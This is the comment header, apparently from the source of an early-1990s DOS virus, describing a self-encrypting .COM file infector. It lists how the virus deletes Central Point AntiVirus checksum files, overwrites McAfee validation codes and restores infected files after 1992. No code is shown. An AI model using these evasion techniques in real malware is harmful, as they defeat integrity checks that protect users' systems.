;
;  Description : This is a Non-Resident Self-Encrypting .COM file infector
;                which infects COM files in the current directory. It will
;                remove CHKLIST.CPS from the current directory after it has
;                infected a program. CHKLIST.CPS is a file which is used by
;                VDEFEND of PCSHELL and Central Point AntiVirus. When a
;                validation code is added by SCAN of McAfee, it will overwrite
;                the code, so the file is no longer CRC protected anymore.
;                After 1992, the virus activated. It then displays a message
;                that your system has been infected. The virus will remove
;                itself from the infected file and completely restore it. If
;                a validation code was added, it is lost, but the file is not
;                corrupted and will function normally. Even when the file is
;                compressed afterwards by an executable file compressor, it is
;                uncompressed. Before 1993, the virus sometimes display it's
;                copyright. This is caused when the random encryption counter
;                is a 0. It will redefine it, so there is no visible text in
;                the virus. It checks also if there is enough diskspace
;                aveable and installs a critical error handler.
